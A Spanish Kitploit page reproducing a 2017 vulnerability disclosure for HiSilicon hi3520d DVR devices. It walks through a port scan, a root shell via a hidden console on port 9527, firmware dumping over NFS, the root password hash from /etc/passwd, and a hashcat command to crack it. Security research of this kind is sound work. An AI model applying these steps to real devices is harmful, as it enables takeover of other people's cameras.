Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn-hisilicon-dvr — Exploit de prueba de concepto y divulgación de vulnerabilidad para dispositivos DVR/NVR HiSilicon hi3520d. Demuestra RCE a través de la interfaz web, credenciales de backdoor y análisis de desbordamiento de búfer. | Kitploit
Herramientas/GitHubGitHub/tothi/pwn-hisilicon-dvr
Seguridad de Sistemas EmbebidosDescifrado de ContraseñasSeguridad IoTMapeo de RedesAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebRecopilación de InformaciónFuzzingAnálisis de Binarios
3839020hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubtothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

Exploit de prueba de concepto y divulgación de vulnerabilidad para dispositivos DVR/NVR HiSilicon hi3520d. Demuestra RCE a través de la interfaz web, credenciales de backdoor y análisis de desbordamiento de búfer.

Ver Repositorio

= Hackeo de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] Este informe divulga vulnerabilidades graves (con código de prueba de concepto (PoC)) de dispositivos DVR/NVR construidos con el sistema en un chip (SoC) HiSilicon hi3520d y similares. La explotación de las vulnerabilidades conduce a la ejecución remota de código (RCE) no autorizada usando solo la interfaz web, lo que provoca la toma de control total del dispositivo explotado. Debido a la falta de firmwares actualizados, no se recomienda el uso de estos dispositivos. Se contactó con el proveedor antes de diciembre de 2016, pero aún no hay respuesta. La fecha de publicación de la divulgación es febrero de 2017.

== prefacio

Hace un par de años compré un DVR chino barato en eBay. El logo de arranque del dispositivo dice: "SECULINK - Security Monitoring". Como entusiasta de la seguridad informática, decidí echar un vistazo más de cerca al dispositivo para ver qué tan "seguro" es ese servicio de monitoreo de seguridad. Buscando en Google sobre el tema encontré algunos materiales interesantes, pero profundicé más y encontré problemas mucho más interesantes y mucho más graves (0-days) sobre el dispositivo.

Echemos un vistazo a la sesión de hacking completa desde el principio. (Los nuevos hallazgos propios se indicarán junto con los antiguos, ya conocidos).

== explorando el DVR

Primero deberíamos aprender la interfaz de usuario oficial, luego profundizar, tal vez intentar obtener el firmware. Las posibilidades de encontrar vulnerabilidades aumentan con el firmware.

=== el DVR a primera vista

El dispositivo DVR destinado a las pruebas está marcado como "Seculink".

image::./seculink_device.png[Dispositivo DVR Seculink]

Interfaces físicas disponibles:

  • 2x puertos USB (oficialmente para mouse y controlar la consola GUI),
  • Puerto HDMI (y VGA) para conectar un monitor externo (para GUI y vistas de cámara),
  • 4x conectores BNC para cámaras CCTV analógicas,
  • Puerto SATA interno para conectar almacenamiento y grabar el flujo de video,
  • Puerto Ethernet para acceso a la red.

Interfaces de usuario oficiales:

  • acceso directo usando HDMI (o VGA) como salida y mouse / teclado USB como entrada para ver / controlar / configurar completamente las cámaras,
  • acceso a través de la red mediante HTTP para ver / controlar las cámaras.

La interfaz de configuración de acceso directo está restringida por autenticación de usuario (nombre de usuario, contraseña). El superusuario predeterminado es 'admin', y la contraseña predeterminada está vacía.

Después de establecer una contraseña segura, el usuario puede sentirse seguro de que su vista de cámara no es accesible para otros. La gente suele redirigir el puerto web (tcp/80) del DVR hacia el lado WAN desde su LAN segura para acceder a los flujos del DVR desde el exterior (podemos comprobarlo, por ejemplo, con una búsqueda adecuada en Shodan ;) ).

=== obteniendo el firmware

Puede haber muchas formas de obtener el firmware:

  • obtenerlo del dispositivo por un método suave (usando la interfaz oficial, o explotando alguna vulnerabilidad),
  • obtenerlo del dispositivo por un método físico (JTAG, consola serie, etc.),
  • encontrarlo y descargarlo de internet (si está disponible).

Aunque el último método (descarga) funciona aquí y es el más fácil, probemos el primero, porque también da otra información sobre el dispositivo.

=== escaneo de servicios

Hagamos un escaneo completo de puertos en el DVR. Nótese que el escaneo SYN (el predeterminado si lo ejecuta root) es muy lento debido a paquetes descartados, pero el escaneo completo de conexión TCP termina en un par de minutos.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


Resumiendo y probando manualmente:

  • 23/tcp es una interfaz de inicio de sesión telnet protegida por algún nombre de usuario + contraseña (no las credenciales de la aplicación)
  • 80/tcp es la interfaz web protegida por las credenciales de la aplicación
  • 554/tcp es un servicio rtsp; se puede abrir con una url rtsp común:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

Nótese que abrir el flujo rtsp también requiere credenciales.

  • 9527/tcp parece ser un puerto de servicio (¿secreto?) con algunas características muy interesantes,
  • 34567/tcp y 34599/tcp parecen ser puertos de datos relacionados con la aplicación del DVR.

Aquí debemos señalar que el dispositivo es probablemente un sistema tipo Linux.

Conectarse a 9527/tcp (con netcat crudo) muestra la consola de la aplicación con mensajes de registro y un prompt de inicio de sesión. Iniciar sesión con cualquiera de las credenciales definidas de la aplicación funciona. Escribir help después del prompt da una breve descripción de los comandos de la consola. El comando shell parece ser el más interesante. Sí, da un shell de root en los dispositivos. ;)

Nótese que esto es obviamente un grave problema de seguridad, porque ningún usuario de la aplicación (con bajos privilegios) debería obtener un shell de root en el dispositivo automáticamente.

=== shell de root

Explorar el dispositivo en el shell de root (por ejemplo, con dmesg) deja claro que el DVR está ejecutando un kernel Linux (versión 3.0.8), tiene una CPU ARMv7 y el modelo de SoC es hi3520d.

De la lista de procesos en ejecución (ps) queda claro que la aplicación del DVR es /var/Sofia, que también está escuchando en 34568/udp y 34569/udp además de los puertos tcp detectados por nmap (netstat -nlup).

De la lista de discos montados (comando mount), queda claro que la imagen del firmware está en los dispositivos /dev/mtdblockX (donde X=0,1,2,3,4,5).

El firmware es pequeño y por lo tanto limitado, así que debemos ser creativos si queremos copiar archivos hacia/desde el dispositivo. Afortunadamente NFS es compatible, así que configurar un servidor NFS en nuestra máquina de escritorio y montarlo desde el DVR resuelve el problema:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

Ahora obtener el firmware es sencillo:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

Podemos obtener los archivos (no solo las imágenes crudas):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== interfaz telnet

Para acceder al dispositivo a través de la interfaz telnet (puerto 23/tcp), podemos necesitar algunas credenciales del sistema operativo. Mirando /etc/passwd tenemos el hash de la contraseña del usuario root:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Nótese que no hay otro usuario que root, todo se ejecuta con privilegios completos. (Así que si alguien irrumpe en el dispositivo de alguna manera, no hay barrera: el atacante obtiene poder total de inmediato).

Suponiendo una contraseña alfanumérica de seis caracteres (minúsculas), hashcat descifra el débil hash DES anterior rápidamente:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

Descargar herramienta